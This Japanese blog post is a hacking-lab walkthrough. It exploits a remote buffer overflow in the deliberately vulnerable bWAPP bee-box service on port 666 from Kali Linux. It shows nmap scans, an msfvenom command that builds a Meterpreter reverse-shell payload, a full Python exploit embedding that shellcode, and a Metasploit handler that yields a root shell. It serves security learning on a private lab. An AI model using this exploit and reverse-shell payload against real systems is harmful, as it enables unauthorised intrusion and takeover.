Kali Linux2022.1 でハッキングラボをつくってみる10 ウェブアプリハッキング8 リモートバッファオーバーフロー

# はじめに
「ハッキング・ラボのつくりかた」p.652-657を参考に、KaliLinux2022.1で検証してみる記事です。

:::note alert
注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。
:::
# リモートバッファオーバーフロー
バッファオーバーフローは、アプリケーションのバグを利用して、メモリ領域に確保されたバッファを越えて、データを書き込むことで、不正なコマンドやプログラムを実行する攻撃。
入力データの長さや書式のチェックを怠ることで起きやすくなる。

## 検証
"http:/\/192.168.56.60/bWAPP/portal.php"にアクセスして、プルダウンメニューから、「Buffer Overflow(Remote)」を選択して「Hack」をクリックして、"http:/\/192.168.56.60/bWAPP/bof_2.php"に遷移する。

![VirtualBox_kali-linux-2022.1-virtualbox-amd64_31_05_2022_23_13_14_bofr1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/013eebde-9ff6-ac7b-c40a-72952aa8aecc.png)
"A specific bWAPP network service is vulnerable..."とあるから、bWAPPに特徴的なサービスに何かしらの脆弱性があることがわかる。また、ヒントが掲載されている。
ポートスキャンで、bWAPPで稼働しているサービスを調べる。
```
sudo nmap -sSV -p1-1024 192.168.56.60
```
>Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-31 23:02 JST
Nmap scan report for 192.168.56.60
Host is up (0.00060s latency).
Not shown: 1013 closed tcp ports (reset)
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         ProFTPD 1.3.1
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
25/tcp  open  smtp        Postfix smtpd
80/tcp  open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: ITSECGAMES)
443/tcp open  ssl/http    Apache httpd 2.2.8 ((Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: ITSECGAMES)
512/tcp open  exec        netkit-rsh rexecd
513/tcp open  login?
514/tcp open  shell?
666/tcp open  doom?
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :

一部出力省略

また、ポートを65535まで拡大してポートスキャンしてみる。
```
sudo nmap -sSV -p1-65535 192.168.56.60
```
>Nmap scan report for 192.168.56.60
Host is up (0.00017s latency).
Not shown: 65516 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         ProFTPD 1.3.1
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
25/tcp   open  smtp        Postfix smtpd
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: ITSECGAMES)
443/tcp  open  ssl/http    Apache httpd 2.2.8 ((Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: ITSECGAMES)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login?
514/tcp  open  shell?
666/tcp  open  doom?
3306/tcp open  mysql       MySQL 5.0.96-0ubuntu3
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.3 (Ubuntu 4.2.3-2ubuntu7))
5901/tcp open  vnc         VNC (protocol 3.8)
6001/tcp open  X11         (access denied)
8080/tcp open  http        nginx 1.4.0
8443/tcp open  ssl/http    nginx 1.4.0
9080/tcp open  http        lighttpd 1.4.19
9443/tcp open  ssl/http    lighttpd 1.4.19
1 service unrecognized despite returning data. If you know the service/version, please submit 

一部出力省略

ポート６６６(サービス名doom)以外は、よくあるサービスである。
ポート６６６は何かしらの脆弱性を含む可能性がある。数字自体も意味深（６６６）である。製作者の遊び心かもしれない。

## シェルコードの作成
```
msfvenom lhost=192.168.56.2 lport=4448 -p linux/x86/meterpreter/reverse_tcp -b '\x00' -f py
```
実行結果は以下の通り。
![VirtualBox_kali-linux-2022_buff.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/e20d54dd-269a-c4df-5322-b2681c372ba5.png)
コマンドの出力のbufの部分が、シェルコードとなる。LhostやLportが変われば、bufの文字列も変わる。

## シェルコードからExploitを作成する
次のpythonファイルを作成する。これがExploitになる。
```python:666_exploit.py
#!/usr/bin/python
# -*- coding: utf-8 -*-

"""
リモートバッファフロー攻撃のためのエクスプロイトをpythonで作成する。
kaliLinuxのIPアドレス:192.168.56.2
bee-boxのIpアドレス：192.168.56.60
bee-boxの攻略ポート：666(サービス名:doom)
KaliLinuxのリバースシェル待受ポート：4448
"""

import sys
import socket

#bufはmsvenom lhost=192.168.56.2 lport=4448 -p linux/x86/meterpreter/reverse_tcp -b '\x00' -f py で、出力した。

buf =  b""
buf += b"\xba\x6d\x72\xaa\xa7\xda\xd5\xd9\x74\x24\xf4\x58\x33"
buf += b"\xc9\xb1\x1f\x31\x50\x15\x03\x50\x15\x83\xe8\xfc\xe2"
buf += b"\x98\x18\xa0\xf9\x53\x06\x43\xe6\xc0\xfb\xff\x83\xe4"
buf += b"\x4b\x99\xda\x09\x66\xe6\x4a\x92\x11\x27\xdc\x1c\xe0"
buf += b"\xcf\x1f\x5c\xf5\x6f\xa9\xbd\x9f\x09\xf1\x6d\x31\x81"
buf += b"\x88\x6c\xf2\xe0\x0b\xeb\x35\x83\x12\xbd\xc1\x49\x4d"
buf += b"\xe3\x2a\xb2\x8d\xbb\x40\xb2\xe7\x3e\x1c\x51\xc6\x89"
buf += b"\xd3\x16\xac\xc9\x95\xab\x44\xee\xd7\xd3\x23\xf0\x07"
buf += b"\xdc\x53\x79\xc4\x1d\xb8\x75\xca\x7d\x33\x35\xb1\x4c"
buf += b"\xcc\xb0\x8a\x37\xdd\xe1\x83\x29\x44\xa7\xfe\x19\x74"
buf += b"\x0a\x7e\xdc\xbb\xec\x7d\x20\xda\xb4\x83\xde\x1d\xc4"
buf += b"\x38\xdf\x1d\xc4\x3e\x2d\x9d"

#'A' *354
# NOP(x90) *16

ret="\xa7\x8f\x04\x08"
payload = '\x90' * 16 + buf
buffer='A'*354+ret+payload

argvs=sys.argv
argc=len(argvs)
if argc != 2:
    print ('Usage: # python %s ip-address' % argvs[0])
    quit()

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

message1="[+] Connecting..."
print ("\033[1;32;48m" + message1)
port=666
s.connect((argvs[1], port))

message2="[+] Sending exploit code..."
print ("\033[1;32;48m" + message2)
s.send(buffer)
data=s.recv(1024)

s.close()
```

## リバースシェルの待ち受け
metasploitで待ち受けする
```:msf >
use exploit/multi/handler
set lhost 192.168.56.2
set lport 4448
set payload linux/x86/meterpreter/reverse_tcp
exploit
```
**新規に別の端末を立ち上げて**、さきほどの666_exploit.pyを実行する。
引数には、bee-boxのIPアドレスを指定する。
```
python2 666_exploit.py 192.168.56.60
``` 


## シェルの奪取
meterpreterセッションが確立され、プロンプトが返ってくる。shellコマンドでシェルをダッシュしてか`id`コマンドを実行する。rootであることが判明する。
```:meterpreter >
shell
```

# おわりに
ウェブアプリにハッキングはこれで終わりです。
できれば、Windowsのログオン認証ハッキングも試すかもしれません。
同書の第９章「物理デバイスの追加」では、ラズパイを使ったハッキング・ラボの構築が取り上げられていますが、ラズパイの購入予定がありませんので、ここで取り上げる予定もありません。
残りページもだいぶ少なくなりました。
参考にしたもの
「ハッキング・ラボのつくりかた」
「図解入門・よく分かる最新情報セキュリティの基本と仕組み増補改訂版」(相戸浩志）

https://www.nttpc.co.jp/column/security/bof.html